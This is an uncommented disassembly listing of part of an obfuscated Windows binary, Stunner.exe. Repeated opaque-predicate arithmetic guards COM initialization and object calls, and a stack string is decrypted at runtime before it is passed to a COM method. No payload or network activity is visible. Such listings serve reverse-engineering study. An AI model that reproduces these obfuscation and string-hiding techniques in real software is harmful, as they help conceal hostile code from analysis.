or dword [rsp + 0xa0], 0x4000
jmp 0x140045ccc
movsd xmm7, qword [0x140073f68]
movsd xmm6, qword [0x140073f90]
lea rcx, [rsp + 0x1a08]
call sym.Stunner.exe_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_ggi_void_
nop
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400473d5
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045dec
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140045dec
mov r14d, 7
mov ebx, r14d
jmp 0x140045e8a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045e80
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140045e84
mov ebx, dword [rsp + 0x68]
mov r14d, 7
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400473d5
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400473d5
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045fe2
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140045fe2
mov ebx, r14d
jmp 0x14004607a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140046076
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004607a
mov ebx, dword [rsp + 0x68]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400473d5
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400473d5
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400461d4
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400461d4
mov ebx, r14d
jmp 0x14004626c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140046268
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004626c
mov ebx, dword [rsp + 0x68]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400473d5
lea rcx, [rsp + 0x19a8]
call fcn.140001e60
nop
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov qword [rsp + 0x1570], r12
lea rax, [rsp + 0x1570]
mov qword [rsp + 0x20], rax
lea r9, [0x140073818]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x140073828]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov ebx, eax
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400470f9
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
not ebx
shr ebx, 0x1f
mov eax, ebx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140046400
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140046400
mov ebx, r14d
jmp 0x140046498
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140046494
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140046498
mov ebx, dword [rsp + 0x68]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400470f9
mov qword [rsp + 0x1568], r12
mov rcx, qword [rsp + 0x1570]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [rsp + 0x1568]
lea rdx, [0x140073838]
call qword [rax + 0x18]
mov esi, eax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400470eb
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r12
test esi, esi
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004660c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004660c
mov ebx, r14d
jmp 0x1400466a4
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400466a0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x1400466a4
mov ebx, dword [rsp + 0x68]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400470eb
mov qword [rsp + 0x1598], r12
mov r12d, dword [rsp + 0x68]
mov r13d, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x1568]
mov rax, qword [rcx]
lea r9, [rsp + 0x1680]
lea r8, [rsp + 0x1598]
mov edx, 1
call qword [rax + 0x18]
xor r15d, r15d
mov ecx, r15d
test eax, eax
sete cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400467ea
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400467ea
mov esi, r14d
mov dword [rsp + 0x68], r14d
jmp 0x140046886
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140046882
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si esi, xmm0
mov dword [rsp + 0x68], esi
jmp 0x140046886
mov esi, dword [rsp + 0x68]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x1400470da
mov rcx, qword [rsp + 0x1598]
mov rax, qword [rcx]
lea rdx, [rsp + 0x1590]
mov qword [rsp + 0x20], rdx
lea r9, [0x140073770]
xor r8d, r8d
xor edx, edx
call qword [rax + 0x48]
mov ebx, eax
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400470c1
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
not ebx
shr ebx, 0x1f
mov eax, ebx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400469fc
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400469fc
mov r13d, r14d
jmp 0x140046a8f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140046a8f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r13d, xmm0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r13d
test eax, eax
je 0x1400470c1
lea rcx, [rsp + 0x15f8]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [rsp + 0x1040], 0xe6
mov byte [rsp + 0x1041], 0xad
mov byte [rsp + 0x1042], 0x34
mov byte [rsp + 0x1043], 0xab
mov byte [rsp + 0x1044], 0xc1
mov byte [rsp + 0x1045], 0xa9
mov byte [rsp + 0x1046], 0xbb
mov byte [rsp + 0x1047], 0xd7
mov byte [rsp + 0x1048], 0x46
mov byte [rsp + 0x1049], 0xd5
mov byte [rsp + 0x104a], 0xbe
mov byte [rsp + 0x104b], 0xd3
mov byte [rsp + 0x104c], 0x44
mov byte [rsp + 0x104d], 0xd1
mov byte [rsp + 0x104e], 0x47
mov byte [rsp + 0x104f], 0xdf
mov byte [rsp + 0x1050], 0xae
mov byte [rsp + 0x1051], 0xdd
mov byte [rsp + 0x1052], 0xbb
mov byte [rsp + 0x1053], 0xdb
mov byte [rsp + 0x1054], 0x4d
mov byte [rsp + 0x1055], 0xd9
mov byte [rsp + 0x1056], 0xab
mov byte [rsp + 0x1057], 0xc7
mov byte [rsp + 0x1058], 0xc4
mov byte [rsp + 0x1059], 0xc5
xor eax, eax
mov qword [rsp + 0x105a], rax
mov dword [rsp + 0x1062], eax
mov byte [rsp + 0x1066], al
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0x27
jae 0x140046c32
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x1040]
movabs rax, 0x174d219b927eceba
add rdx, rax
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x16
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x1040], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x27
jb 0x140046be1
mov rcx, qword [rsp + 0x1590]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [rsp + 0x15f8]
lea rdx, [rsp + 0x1040]
call qword [rax + 0x18]
mov ebx, eax
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400470a5
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
not ebx
shr ebx, 0x1f
mov eax, ebx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140046d58
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140046d58
mov r12d, r14d
jmp 0x140046deb
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140046deb
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r12d, xmm0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r12d
test eax, eax
je 0x1400470a5
mov r15, qword [rsp + 0x1600]
mov rcx, r15
call fcn.1400706a0
mov r14, rax
mov rdx, rax
lea rcx, [rsp + 0x1968]
call fcn.140001d00
nop
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140047061
xor eax, eax
cmp qword [rsp + 0x19b8], rax
setne al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140046f65
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
